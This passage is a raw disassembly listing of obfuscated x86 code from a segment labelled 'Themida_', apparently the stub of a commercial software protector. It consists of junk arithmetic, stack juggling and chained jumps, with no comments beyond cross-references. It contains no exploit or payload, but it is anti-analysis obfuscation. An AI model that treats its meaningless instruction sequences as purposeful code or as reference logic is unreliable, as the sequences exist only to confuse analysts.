		jmp	loc_55A232
; ---------------------------------------------------------------------------


loc_55B9A2:				; CODE XREF: Themida_:005578CAj
		xor	eax, 405C285h
		add	ebx, eax
		pop	eax
		add	ebx, 6FF65D94h
		sub	ebx, eax
		push	edi
		mov	edi, 6EE372C5h
		dec	edi
		sub	edi, 3E9F6512h
		add	edi, 3FB24FE2h
		jmp	loc_55AD61
; ---------------------------------------------------------------------------


loc_55B9CA:				; CODE XREF: Themida_:00558964j
		add	eax, 4
		push	ebp
		jmp	loc_55C8EC
; ---------------------------------------------------------------------------


loc_55B9D5:				; CODE XREF: Themida_:00557707j
		add	ecx, esi
		jmp	loc_551F58
; ---------------------------------------------------------------------------


loc_55B9DC:				; CODE XREF: Themida_:0055BF44j
		not	ebp
		push	edx
		mov	edx, 7195094Dh
		dec	edx
		shr	edx, 4
		push	ebx
		mov	ebx, 7AAF5FE7h
		sub	edx, ebx
		jmp	loc_5584F2
; ---------------------------------------------------------------------------


loc_55B9F5:				; CODE XREF: Themida_:00559EF2j
		xor	ecx, 16B958h
		add	edx, ecx
		pop	ecx
		jmp	loc_5557B4
; ---------------------------------------------------------------------------


loc_55BA03:				; CODE XREF: Themida_:0055A59Cj
		push	edx
		push	ebp
		mov	ebp, 644C2769h
		mov	edx, 56416570h
		jmp	loc_55C3F3
; ---------------------------------------------------------------------------


loc_55BA14:				; CODE XREF: Themida_:00555E69j
		pop	ebx
		or	edx, eax
		shl	edx, 1
		push	54BCh
		mov	[esp], ecx
		mov	ecx, 24h
		sub	ecx, 138047A6h
		push	edi
		mov	edi, 7CE0503Dh
		sub	ecx, edi
		pop	edi
		add	ecx, edi
		add	ecx, 7CE0503Dh
		jmp	loc_558AD3
; ---------------------------------------------------------------------------


loc_55BA42:				; CODE XREF: Themida_:0055C41Bj
		mov	al, 6Ah
		jmp	loc_55321B
; ---------------------------------------------------------------------------


loc_55BA49:				; CODE XREF: Themida_:0055A0A9j
		pop	edi
		not	edx
		shl	edx, 3
		add	edx, 585FB6D5h
		xor	esi, edx
		jmp	loc_55D1F5
; ---------------------------------------------------------------------------


loc_55BA5C:				; CODE XREF: Themida_:00559E86j
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_55CD3A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_5554EE
; ---------------------------------------------------------------------------


loc_55BA7C:				; CODE XREF: Themida_:00556228j
		push	ebp
		jmp	loc_55235D
; ---------------------------------------------------------------------------


loc_55BA82:				; CODE XREF: Themida_:005540BEj
		neg	eax
		jmp	loc_551AA8
; ---------------------------------------------------------------------------


loc_55BA89:				; CODE XREF: Themida_:005588B4j
		push	ebp
		mov	ebp, 377E0CDDh
		jmp	loc_55B2B2
; ---------------------------------------------------------------------------


loc_55BA94:				; CODE XREF: Themida_:00553DFAj
		xor	dl, cl
		pop	ecx
		xor	dl, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	al, dl
		mov	edx, [esp]
		add	esp, 4
		xor	bl, al
		push	226Fh
		mov	[esp], ebp
		mov	ebp, 3FCh
		push	edx
		push	ecx
		mov	ecx, 30B72858h
		jmp	loc_55438E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_554C42
; ---------------------------------------------------------------------------


loc_55BACC:				; CODE XREF: Themida_:0055857Bj
		pop	ebx
		jmp	loc_55B631
; ---------------------------------------------------------------------------


loc_55BAD2:				; CODE XREF: Themida_:0055D0BBj
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		jmp	loc_557FE4
; ---------------------------------------------------------------------------


loc_55BAE3:				; CODE XREF: Themida_:0055AD98j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55BAE8:				; CODE XREF: Themida_:00556E35j
		mov	esp, [esp]
		jmp	loc_55DC8D
; ---------------------------------------------------------------------------


loc_55BAF0:				; CODE XREF: Themida_:0055A10Fj
		add	al, ch
		add	al, 62h
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		push	esp
		jmp	loc_553592
; ---------------------------------------------------------------------------


loc_55BAFF:				; CODE XREF: Themida_:005546FFj
		sub	ebx, 6FC94AEAh
		add	ebx, edx
		add	ebx, 6FC94AEAh
		sub	ebx, 7B1748E9h
		pop	edx
		jmp	loc_556688
; ---------------------------------------------------------------------------


loc_55BB19:				; CODE XREF: Themida_:0055D9BDj
		mov	[esp], edi
		push	ebp
		mov	ebp, 36617933h
		not	ebp
		inc	ebp
		inc	ebp
		jmp	loc_558784
; ---------------------------------------------------------------------------


loc_55BB2B:				; CODE XREF: Themida_:00554E56j
		push	ebp
		jmp	loc_555CF0
; ---------------------------------------------------------------------------


loc_55BB31:				; CODE XREF: Themida_:0055C20Fj
		xchg	esi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_55263E
; ---------------------------------------------------------------------------


loc_55BB3E:				; CODE XREF: Themida_:00554184j
		add	ebx, 16CE6693h
		dec	ebx
		xor	ebx, 13FED550h
		and	edi, ebx
		pop	ebx
		jmp	loc_55C0FF
; ---------------------------------------------------------------------------


loc_55BB53:				; CODE XREF: Themida_:0055AC84j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_558679
; ---------------------------------------------------------------------------


loc_55BB5F:				; CODE XREF: Themida_:0055803Cj
		sub	dh, 0DFh
		jmp	loc_558ABE
; ---------------------------------------------------------------------------


loc_55BB67:				; CODE XREF: Themida_:0055DB1Ej
		dec	ebp
		add	ebp, 66F36067h
		sub	ebp, 208918E5h
		push	eax
		mov	eax, 0BC02B92Dh
		add	ebp, eax
		pop	eax
		jmp	loc_553307
; ---------------------------------------------------------------------------


loc_55BB82:				; CODE XREF: Themida_:0055A070j
		add	esp, 4
		jmp	loc_55A2A8
; ---------------------------------------------------------------------------


loc_55BB8A:				; CODE XREF: Themida_:005529FBj
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_559002
; ---------------------------------------------------------------------------


loc_55BB99:				; CODE XREF: Themida_:00554A24j
		inc	dh
		add	dh, 22h
		sub	dh, 48h
		add	bl, dh
		pop	edx
		sub	bl, 0B1h
		sub	bl, al
		push	eax
		push	ecx
		jmp	loc_55ACC4
; ---------------------------------------------------------------------------


loc_55BBB0:				; CODE XREF: Themida_:00556144j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55B688
; ---------------------------------------------------------------------------


loc_55BBB9:				; CODE XREF: Themida_:0055B352j
		pop	ebx
		mov	ecx, edx
		pop	edx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_559712
; ---------------------------------------------------------------------------


loc_55BBD5:				; CODE XREF: Themida_:00557D69j
		and	edx, 0D9F2318h
		inc	edx
		xor	edx, 9102000h
		mov	esi, edx
		jmp	loc_5547C1
; ---------------------------------------------------------------------------


loc_55BBE9:				; CODE XREF: Themida_:00559E24j
		add	ebp, edx
		sub	ebp, 2F6668F3h
		sub	ebp, 2BB865F6h
		add	ebp, 37C921B2h
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55B50F
; ---------------------------------------------------------------------------


loc_55BC14:				; CODE XREF: Themida_:0055A653j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_555ADB
; ---------------------------------------------------------------------------


loc_55BC28:				; CODE XREF: Themida_:0055292Bj
		add	ecx, 23D95D60h
		jmp	loc_55690D
; ---------------------------------------------------------------------------


loc_55BC33:				; CODE XREF: Themida_:00556FC8j
		add	esi, 4
		add	esi, 4
		jmp	loc_55183F
; ---------------------------------------------------------------------------


loc_55BC41:				; CODE XREF: Themida_:0055584Dj
		pop	edx
		jmp	loc_555722
; ---------------------------------------------------------------------------


loc_55BC47:				; CODE XREF: Themida_:0055AB64j
		sub	edx, 434515A4h
		jmp	loc_554EE6
; ---------------------------------------------------------------------------


loc_55BC52:				; CODE XREF: Themida_:00551EBEj
		add	esp, 4


loc_55BC58:				; CODE XREF: Themida_:005562F1j
		push	ebx
		xor	dword ptr [esp], 6D22611Eh
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_5557AC
; ---------------------------------------------------------------------------


loc_55BC6C:				; CODE XREF: Themida_:0055DB7Aj
		movzx	ecx, ax
		jmp	loc_557474
; ---------------------------------------------------------------------------


loc_55BC74:				; CODE XREF: Themida_:0055A3A0j
		xor	esi, 19589310h
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	ebp
		push	esi
		jmp	loc_55D32A
; ---------------------------------------------------------------------------


loc_55BC97:				; CODE XREF: Themida_:0055742Aj
		mov	eax, 4
		sub	edx, 2F0F74F9h
		add	edx, eax
		push	ecx
		push	ebx
		mov	ebx, 92827C6h
		add	ebx, 1DCE09CDh
		sub	ebx, 1
		shl	ebx, 7
		add	ebx, 1
		add	ebx, 0B1074692h
		mov	ecx, ebx
		jmp	loc_5551EC
; ---------------------------------------------------------------------------


loc_55BCCA:				; CODE XREF: Themida_:0055AA8Dj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_551DE1
; ---------------------------------------------------------------------------


loc_55BCD7:				; CODE XREF: Themida_:0055BD34j
		inc	ebx
		add	ebx, 0B4CDF6ACh
		push	ebx
		mov	ebx, 3F1935E3h
		jmp	loc_5524A8
; ---------------------------------------------------------------------------


loc_55BCE9:				; CODE XREF: Themida_:0055D53Aj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55CD32
; ---------------------------------------------------------------------------


loc_55BCF2:				; CODE XREF: Themida_:005567FBj
		xchg	edx, [esp]
		jmp	loc_55B8A9
; ---------------------------------------------------------------------------


loc_55BCFA:				; CODE XREF: Themida_:005556E5j
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_55CEEF
; ---------------------------------------------------------------------------


loc_55BD05:				; CODE XREF: Themida_:00555BB3j
		sub	dl, al
		add	dl, 56h
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	dl, 0F6h
		jmp	loc_5596B8
; ---------------------------------------------------------------------------


loc_55BD28:				; CODE XREF: Themida_:0055361Aj
		push	esp
		jmp	loc_559693
; ---------------------------------------------------------------------------


loc_55BD2E:				; CODE XREF: Themida_:0055A0BEj
		push	ebx
		mov	ebx, 4B320955h
		jmp	loc_55BCD7
; ---------------------------------------------------------------------------


loc_55BD39:				; CODE XREF: Themida_:0055C959j
		add	edi, 32CDC490h
		or	ecx, edi
		pop	edi
		jmp	loc_556C95
; ---------------------------------------------------------------------------


loc_55BD47:				; CODE XREF: Themida_:00553E2Cj
		push	esi
		push	edi
		jmp	loc_559573
; ---------------------------------------------------------------------------


loc_55BD4E:				; CODE XREF: Themida_:0055D2A6j
		and	esi, 0D035812h
		jmp	loc_554F90
; ---------------------------------------------------------------------------


loc_55BD59:				; CODE XREF: Themida_:0055ADEDj
		shr	ecx, 7
		jmp	loc_55ABD0
; ---------------------------------------------------------------------------


loc_55BD61:				; CODE XREF: Themida_:00559D2Fj
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		add	ebx, 4
		jmp	loc_5570B9
; ---------------------------------------------------------------------------


loc_55BD75:				; CODE XREF: Themida_:00553C62j
		pop	esp
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55BD7B:				; CODE XREF: Themida_:00553F9Dj
		push	65E9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55D5A1
; ---------------------------------------------------------------------------


loc_55BD8C:				; CODE XREF: Themida_:0055B927j
		or	al, 0A7h
		add	al, 0BDh
		or	dl, al
		pop	eax
		or	dl, 16h
		and	dl, 50h
		sub	dl, 69h
		dec	dl
		not	dl
		not	dl
		jmp	loc_5531CA
; ---------------------------------------------------------------------------


loc_55BDA7:				; CODE XREF: Themida_:0055632Bj
		or	eax, eax
		jz	loc_555A01
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	697Ch
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_554704
; ---------------------------------------------------------------------------


loc_55BDCA:				; CODE XREF: Themida_:00554A55j
		push	edi
		mov	edi, 49123B01h
		push	3CEAh
		jmp	loc_553A1E
; ---------------------------------------------------------------------------


loc_55BDDA:				; CODE XREF: Themida_:0055B2FBj
		add	eax, 4C21409h
		sub	eax, 403534CFh
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55772B
; ---------------------------------------------------------------------------


loc_55BDED:				; CODE XREF: Themida_:00556FCEj
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_555DAF
; ---------------------------------------------------------------------------


loc_55BDFE:				; CODE XREF: Themida_:0055A12Bj
		add	esp, 4
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edx
		xchg	ecx, [esp]
		jmp	loc_5522D9
; ---------------------------------------------------------------------------


loc_55BE2C:				; CODE XREF: Themida_:0055D077j
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 5F6B2E80h
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_554C3A
; ---------------------------------------------------------------------------


loc_55BE3F:				; CODE XREF: Themida_:00558A51j
		push	dword ptr [esp]
		pop	ecx
		push	2478h
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55B00C
; ---------------------------------------------------------------------------


loc_55BE57:				; CODE XREF: Themida_:0055A62Aj
		pop	esp
		jmp	loc_55DC23
; ---------------------------------------------------------------------------


loc_55BE5D:				; CODE XREF: Themida_:00556DFCj
		push	7532h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	789Bh
		jmp	loc_555550
; ---------------------------------------------------------------------------


loc_55BE77:				; CODE XREF: Themida_:0055A953j
		add	ebp, 4
		push	edi
		push	edx
		push	3AA76DFEh
		jmp	loc_552266
; ---------------------------------------------------------------------------


loc_55BE89:				; CODE XREF: Themida_:0055929Bj
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55BE8E:				; CODE XREF: Themida_:00554F0Dj
		add	edi, ebx
		pop	ebx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_55CB1B
; ---------------------------------------------------------------------------


loc_55BEAD:				; CODE XREF: Themida_:0055B44Aj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 3F9F53F5h
		shl	ebp, 1
		jmp	loc_55A62F
; ---------------------------------------------------------------------------


loc_55BEC0:				; CODE XREF: Themida_:005575F2j
		mov	ecx, esp
		push	443Ch
		mov	[esp], ebp
		mov	ebp, 4
		sub	ecx, 1E9C4A84h
		add	ecx, ebp
		add	ecx, 1E9C4A84h
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, 4
		push	ecx
		jmp	loc_554B0B
; ---------------------------------------------------------------------------


loc_55BEEF:				; CODE XREF: Themida_:005546E5j
		not	edi
		xchg	eax, edi
		shl	eax, 8
		jmp	loc_55DA74
; ---------------------------------------------------------------------------


loc_55BEFA:				; CODE XREF: Themida_:0055C4D5j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, 101C3866h
		add	edi, eax
		jmp	loc_552893
; ---------------------------------------------------------------------------


loc_55BF18:				; CODE XREF: Themida_:00558405j
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 71DF296Eh
		jmp	loc_55AEE3
; ---------------------------------------------------------------------------


loc_55BF26:				; CODE XREF: Themida_:0055CE93j
		neg	eax
		shl	eax, 4
		xor	eax, 0FBFDF3BCh
		mov	edx, eax
		pop	eax
		push	ebp
		mov	ebp, 2E8F5A12h
		shr	ebp, 8
		shl	ebp, 5
		neg	ebp
		shl	ebp, 4
		jmp	loc_55B9DC
; ---------------------------------------------------------------------------


loc_55BF49:				; CODE XREF: Themida_:0055DC39j
		push	ecx
		push	ebx
		push	68E0629Fh
		pop	ebx
		sub	ebx, 4B0A3559h
		mov	ecx, ebx
		pop	ebx
		and	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	esi, 4D0122D5h
		xor	esi, 8002001h
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_559A8A
; ---------------------------------------------------------------------------


loc_55BF7C:				; CODE XREF: Themida_:0055CF5Dj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	2296h
		mov	[esp], esi
		mov	esi, 54B56996h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_559F7A
; ---------------------------------------------------------------------------


loc_55BFA1:				; CODE XREF: Themida_:0055C16Ej
		push	eax
		mov	al, 0C5h
		mov	ch, al
		jmp	loc_556E14
; ---------------------------------------------------------------------------


loc_55BFAB:				; CODE XREF: Themida_:00559F3Cj
		add	eax, esi
		jmp	loc_551955
; ---------------------------------------------------------------------------


loc_55BFB2:				; CODE XREF: Themida_:0055B98Ej
		pop	esp
		sub	esp, 4
		jmp	loc_55DB5C
; ---------------------------------------------------------------------------


loc_55BFBB:				; CODE XREF: Themida_:005552D3j
		push	edx
		push	4586h
		jmp	loc_55CC45
; ---------------------------------------------------------------------------


loc_55BFC6:				; CODE XREF: Themida_:00551893j
		push	esi
		jmp	loc_55DBA4
; ---------------------------------------------------------------------------


loc_55BFCC:				; CODE XREF: Themida_:0055C38Bj
		push	ebp
		mov	ebp, edx
		jmp	loc_556FBC
; ---------------------------------------------------------------------------


loc_55BFD4:				; CODE XREF: Themida_:00554013j
		push	small 6ECEh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_555485
; ---------------------------------------------------------------------------


loc_55BFE4:				; CODE XREF: Themida_:0055C26Fj
		push	ebx
		mov	ebx, 5AF817DAh
		mov	eax, 7A3523BBh
		xor	eax, ebx
		pop	ebx
		shl	eax, 3
		jmp	loc_55303D
; ---------------------------------------------------------------------------


loc_55BFFA:				; CODE XREF: Themida_:00552B22j
		xchg	eax, [esp]
		pop	esp
		add	esi, 5ACA280Bh
		add	esi, edi
		sub	esi, 5ACA280Bh
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5569A1
; ---------------------------------------------------------------------------


loc_55C018:				; CODE XREF: Themida_:00552358j
		xchg	esi, [esp]
		jmp	loc_553DFF
; ---------------------------------------------------------------------------


loc_55C020:				; CODE XREF: Themida_:00551A96j
		add	eax, esi
		add	eax, 107A366Fh
		pop	esi
		push	small word ptr [eax]
		jmp	loc_558CBE
; ---------------------------------------------------------------------------


loc_55C030:				; CODE XREF: Themida_:0055A8CFj
		add	esi, edx
		pop	edx
		jmp	loc_55CB74
; ---------------------------------------------------------------------------


loc_55C038:				; CODE XREF: Themida_:00553DDAj
		mov	esi, 4
		add	eax, esi
		jmp	loc_55D26B
; ---------------------------------------------------------------------------


loc_55C044:				; CODE XREF: Themida_:005595E8j
		add	edx, eax
		sub	edx, 1AE0657Ah
		jmp	loc_554534
; ---------------------------------------------------------------------------


loc_55C051:				; CODE XREF: Themida_:0055501Ej
		add	ebx, ebp
		pop	ebp
		pop	edx
		jmp	loc_55211F
; ---------------------------------------------------------------------------


loc_55C05A:				; CODE XREF: Themida_:00558F43j
		mov	ebp, 6F63481Bh
		add	edi, ebp
		pop	ebp
		add	edi, 8C9450E9h
		sub	ebp, 43E61C42h
		add	ebp, edi
		add	ebp, 43E61C42h
		pop	edi
		add	ebp, 2
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5531AC
; ---------------------------------------------------------------------------


loc_55C090:				; CODE XREF: Themida_:005554D0j
		mov	ebx, edi
		jmp	loc_553ACB
; ---------------------------------------------------------------------------


loc_55C097:				; CODE XREF: Themida_:005522DBj
		not	esi
		xchg	esi, ecx
		jmp	loc_553032
; ---------------------------------------------------------------------------


loc_55C0A0:				; CODE XREF: Themida_:00553B2Dj
		push	ebx
		mov	bx, 70FDh
		not	bx
		add	bx, 2E0Eh
		xor	bx, 0FD79h
		push	esi
		mov	si, bx
		mov	cx, si
		pop	esi
		pop	ebx
		jmp	loc_55CA45
; ---------------------------------------------------------------------------


loc_55C0C0:				; CODE XREF: Themida_:005538D4j
		push	ebx
		xor	dword ptr [esp], 356E2334h
		jmp	loc_55A03C
; ---------------------------------------------------------------------------


loc_55C0CD:				; CODE XREF: Themida_:00553C39j
		xor	ecx, [esp]
		pop	esp
		movsx	ecx, ax
		jmp	loc_55693A
; ---------------------------------------------------------------------------


loc_55C0D9:				; CODE XREF: Themida_:00553EDDj
		add	eax, 61633084h
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		push	10Bh
		mov	[esp], ebp
		push	edi
		mov	edi, 1CEE6B9Ah
		push	ebx
		jmp	loc_552618
; ---------------------------------------------------------------------------


loc_55C0FF:				; CODE XREF: Themida_:0055BB4Ej
		not	edi
		xor	edi, 8BA9853Bh
		mov	ebp, edi
		jmp	loc_553815
; ---------------------------------------------------------------------------


loc_55C10E:				; CODE XREF: Themida_:005597E6j
		pop	edx
		jmp	loc_55DCB7
; ---------------------------------------------------------------------------


loc_55C114:				; CODE XREF: Themida_:0055D325j
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55C120:				; CODE XREF: Themida_:0055504Dj
		add	dword ptr [esp], 4
		jmp	loc_5519B4
; ---------------------------------------------------------------------------


loc_55C129:				; CODE XREF: Themida_:0055538Dj
		add	al, 0D1h
		push	ebx
		mov	bh, 4
		sub	bh, 0C3h
		sub	al, bh
		pop	ebx
		add	al, 0C0h
		jmp	loc_555911
; ---------------------------------------------------------------------------


loc_55C13B:				; CODE XREF: Themida_:00559DFCj
		mov	edi, 4
		add	ecx, edi
		jmp	loc_558713
; ---------------------------------------------------------------------------


loc_55C147:				; CODE XREF: Themida_:00553FD8j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ecx
		mov	ecx, 38597804h
		jmp	loc_552757
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_55286B
; ---------------------------------------------------------------------------


loc_55C15F:				; CODE XREF: Themida_:00558AB9j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5562EE
; ---------------------------------------------------------------------------


loc_55C16D:				; CODE XREF: Themida_:00556AFBj
		push	ecx
		jmp	loc_55BFA1
; ---------------------------------------------------------------------------


loc_55C173:				; CODE XREF: Themida_:00552E69j
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55C17C:				; CODE XREF: Themida_:00558F56j
		sub	esi, 0CFF21854h
		jmp	loc_559EF7
; ---------------------------------------------------------------------------


loc_55C187:				; CODE XREF: Themida_:00555424j
		push	ebx
		mov	ebx, 1E68581Ah
		add	edx, 2A1854CDh
		sub	edx, ebx
		sub	edx, 2A1854CDh
		pop	ebx
		push	0F0Eh
		jmp	loc_558BCD
; ---------------------------------------------------------------------------


loc_55C1A6:				; CODE XREF: Themida_:00556AC8j
		sub	eax, 170D73EBh
		sub	eax, 3525674Fh
		jmp	loc_556F35
; ---------------------------------------------------------------------------


loc_55C1B5:				; CODE XREF: Themida_:00552ACEj
		mov	edx, 2536105Ah
		shr	edx, 6
		push	eax
		mov	eax, 0C9B09081h
		sub	edx, eax
		pop	eax
		xor	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		jmp	loc_55D2BD
; ---------------------------------------------------------------------------


loc_55C1DB:				; CODE XREF: Themida_:0055ABE9j
		add	edx, 4
		jmp	loc_556EFA
; ---------------------------------------------------------------------------


loc_55C1E6:				; CODE XREF: Themida_:00557D9Dj
		mov	dx, [esp]
		push	edx
		jmp	loc_555863
; ---------------------------------------------------------------------------


loc_55C1F0:				; CODE XREF: Themida_:005518E6j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55C1F5:				; CODE XREF: Themida_:0055A820j
		pop	esp
		mov	[esp], edx
		jmp	loc_55A92F
; ---------------------------------------------------------------------------


loc_55C1FE:				; CODE XREF: Themida_:00553755j
		and	eax, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55BB31
; ---------------------------------------------------------------------------


loc_55C214:				; CODE XREF: Themida_:0055C477j
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	ebx
		push	edi
		jmp	loc_556B98
; ---------------------------------------------------------------------------


loc_55C235:				; CODE XREF: Themida_:0055D25Cj
		push	5049h
		mov	[esp], esi
		jmp	loc_559CD9
; ---------------------------------------------------------------------------


loc_55C242:				; CODE XREF: Themida_:0055A115j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_55C420
; ---------------------------------------------------------------------------


loc_55C24F:				; CODE XREF: Themida_:005597D9j
		mov	ebp, 71FE1BA9h
		jmp	loc_5542F9
; ---------------------------------------------------------------------------


loc_55C259:				; CODE XREF: Themida_:00557312j
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 54h
		add	cl, 60h
		shr	cl, 7
		jmp	loc_5569B0
; ---------------------------------------------------------------------------


loc_55C26C:				; CODE XREF: Themida_:0055B7EDj
		mov	[esp], eax
		jmp	loc_55BFE4
; ---------------------------------------------------------------------------


loc_55C274:				; CODE XREF: Themida_:00554901j
		xor	dl, 0B7h
		add	bl, dl
		jmp	loc_55C847
; ---------------------------------------------------------------------------


loc_55C27E:				; CODE XREF: Themida_:0055D6E1j
		add	eax, 685B56F7h
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	edx
		jmp	loc_55D779
; ---------------------------------------------------------------------------


loc_55C291:				; CODE XREF: Themida_:0055CD12j
		push	4AEF449Ah
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55CF3D
; ---------------------------------------------------------------------------


loc_55C29F:				; CODE XREF: Themida_:00554352j
		add	edx, edi
		jmp	loc_55D5DA
; ---------------------------------------------------------------------------


loc_55C2A6:				; CODE XREF: Themida_:0055D774j
		mov	dl, ah
		pop	eax
		push	cx
		mov	ch, 74h
		sub	al, ch
		pop	cx
		sub	al, dl
		push	ecx
		push	ebx
		mov	bh, 61h
		not	bh
		shr	bh, 1
		jmp	loc_557D92
; ---------------------------------------------------------------------------


loc_55C2C0:				; CODE XREF: Themida_:005526A9j
		push	64782790h
		pop	edi
		add	edi, 0D06742A7h
		mov	ebp, edi
		pop	edi
		push	2AEBh
		mov	[esp], edi
		mov	edi, 1BE96E2Ah
		add	ebp, edi
		jmp	loc_558957
; ---------------------------------------------------------------------------


loc_55C2E3:				; CODE XREF: Themida_:00559C83j
		add	esp, 4
		add	esp, 4
		add	esp, 4
		push	2C27h
		jmp	loc_55B5EF
; ---------------------------------------------------------------------------


loc_55C2FC:				; CODE XREF: Themida_:00556CACj
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 34AB2734h
		shl	ebx, 3
		xor	ebx, 0A55939A4h
		add	esi, ebx
		pop	ebx
		push	edx
		jmp	loc_5520B6
; ---------------------------------------------------------------------------


loc_55C31E:				; CODE XREF: Themida_:00556F50j
		add	esi, eax
		pop	eax
		push	eax
		jmp	loc_559F20
; ---------------------------------------------------------------------------


loc_55C327:				; CODE XREF: Themida_:0055DAACj
		push	ebp
		mov	ebp, 11277F36h
		dec	ebp
		add	ebp, 1A7DA8E1h
		or	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, 636F6278h
		push	eax
		jmp	loc_5586C8
; ---------------------------------------------------------------------------


loc_55C34A:				; CODE XREF: Themida_:005568ABj
		push	ecx
		jmp	loc_55D234
; ---------------------------------------------------------------------------


loc_55C350:				; CODE XREF: Themida_:00552FD6j
		xor	[esp], esi
		jmp	loc_556FEB
; ---------------------------------------------------------------------------


loc_55C358:				; CODE XREF: Themida_:0055933Aj
		inc	edi
		push	ecx
		push	eax
		push	0FE00E26h
		pop	eax
		xor	eax, 2CA6471h
		jmp	loc_55330E
; ---------------------------------------------------------------------------


loc_55C36B:				; CODE XREF: Themida_:0055913Ej
		movsx	ecx, al
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ecx
		push	edi
		mov	edi, 7F8F2609h
		or	edi, 6A84568Bh
		push	edx
		jmp	loc_55D94E
; ---------------------------------------------------------------------------


loc_55C38A:				; CODE XREF: Themida_:0055C7CFj
		pop	edi
		jmp	loc_55BFCC
; ---------------------------------------------------------------------------


loc_55C390:				; CODE XREF: Themida_:00553508j
		mov	[esp], ecx
		jmp	loc_5568B0
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		mov	edi, 376405E1h
		add	edi, 55D2347Fh
		jmp	loc_553387
; ---------------------------------------------------------------------------


loc_55C3AA:				; CODE XREF: Themida_:005592F2j
		shl	cl, 1
		push	ax
		jmp	loc_55B6CE
; ---------------------------------------------------------------------------


loc_55C3B3:				; CODE XREF: Themida_:0055D0E3j
